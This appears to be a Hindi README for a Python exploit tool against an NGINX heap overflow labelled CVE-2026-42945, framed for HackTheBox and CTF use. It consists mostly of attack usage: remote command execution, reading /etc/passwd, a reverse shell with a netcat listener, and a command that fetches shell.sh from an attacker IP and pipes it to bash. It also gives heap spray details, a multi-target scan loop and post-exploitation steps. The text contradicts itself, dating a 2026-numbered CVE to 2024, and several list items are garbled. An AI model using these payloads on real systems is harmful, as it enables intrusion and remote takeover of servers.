
CVE-2026-42945 के लिए शोषण
NGINX हीप बफर ओवरफ्लो कमजोरी के लिए स्वतंत्र एक्सप्लॉइट जो 2024 में खोजा गया था। यह संस्करण HackTheBox और CTF वातावरणों के लिए अनुकूलित है जहां आप Docker कंटेनर सेट नहीं कर सकते।
CVE-2026-42945 एक गंभीर हीप बफर ओवरफ्लो है, जो NGINX के ngx_http_rewrite_module में है और 2008 (संस्करण 0.6.27) से मौजूद है। यह बग निम्नलिखित स्थितियों में होता है:
rewrite निर्देश में प्रतिस्थापन में ? होता है (is_args = 1 सेट होता है)set निर्देश URI के भाग को कैप्चर करता हैis_args = 0 देखता है)is_args = 1 देखता है)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# No additional Python packages needed - uses only stdlib!
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
यह करेगा:
/api/ एंडपॉइंट की जाँच करेगाpython3 nginx_rift_helper.py --target 10.10.11.x --all
यह करता है:
एक कमांड निष्पादित करें:
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
रिवर्स शेल प्राप्त करें:
# Start listener first (in another terminal)
nc -lvnp 4444
# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s संरचना वाले निर्मित बॉडी होते हैं/api/ पर एक GET अनुरोध भेजता है जिसमें विशेष रूप से निर्मित URI होता है जो एस्केप होने पर ओवरफ्लो करेगाsystem() को कॉल करता हैएक्सप्लॉइट मानता है कि ASLR अक्षम है या आप पते जानते हैं। HTB पर:
यदि ASLR सक्षम है, तो आपको आवश्यकता हो सकती है:
असुरक्षित कॉन्फ़िगरेशन आवश्यक है:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/संभावित कारण:
system() अलग ऑफ़सेट पर
--verbose के साथ सभी ऑफ़सेट आज़माएँडिबगिंग के लिए हमेशा --verbose का उपयोग करें:
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
यह दिखाता है:
# Find your tun0 IP
ip addr show tun0 | grep inet
# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
एक बार प्रारंभिक पहुँच मिलने पर:
# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Check current user
id
whoami
# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Check sudo permissions
sudo -l
# Check SUID binaries
find / -perm -4000 2>/dev/null
यदि आपको पेलोड को अनुकूलित करने की आवश्यकता है:
# Edit the make_body() function in nginx_rift_htb.py
# Adjust BODY_LEN for different configurations
# Modify the overflow string (349 'A' + 969 '+')
# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Test each one
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Sets is_args=1
set $original_endpoint $1; # Allocates based on is_args=0
}
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)
[Heap Spray Body - 4000 bytes]
+0: system_addr (8 bytes)
+8: data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। इसका उपयोग उन सिस्टमों के विरुद्ध करना जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता।
केवल शैक्षिक/अनुसंधान उद्देश्य। जिम्मेदारी से उपयोग करें।